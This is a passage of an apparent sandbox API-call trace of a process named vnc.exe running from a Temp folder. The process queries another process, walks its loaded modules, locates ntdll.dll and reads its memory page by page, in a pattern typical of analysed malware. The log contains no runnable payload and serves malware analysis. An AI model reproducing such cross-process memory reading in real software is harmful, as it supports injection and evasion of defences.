lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0137.622] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea00, ProcessInformationLength=0x30, ReturnLength=0x18ea58 | out: ProcessInformation64=0x18ea00, ReturnLength=0x18ea58) returned 0x0 [0137.622] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0137.622] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.622] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.623] LocalFree (hMem=0x7392a0) returned 0x0 [0137.623] LocalFree (hMem=0x72e060) returned 0x0 [0137.623] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0137.624] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0137.624] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0137.624] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea00, ProcessInformationLength=0x30, ReturnLength=0x18ea58 | out: ProcessInformation64=0x18ea00, ReturnLength=0x18ea58) returned 0x0 [0137.624] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0137.624] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0137.624] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0137.624] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0137.624] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.624] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0137.624] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0137.625] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0137.625] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0137.625] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0137.625] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0137.625] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0137.626] LocalFree (hMem=0x7392a0) returned 0x0 [0137.626] LocalFree (hMem=0x72e060) returned 0x0 [0137.626] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0137.626] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0137.626] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0137.626] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0137.626] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.627] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0137.627] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.627] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.628] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.629] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.630] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.631] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.632] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.633] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.634] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.636] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.637] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.638] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.639] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.640] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.641] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.642] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) 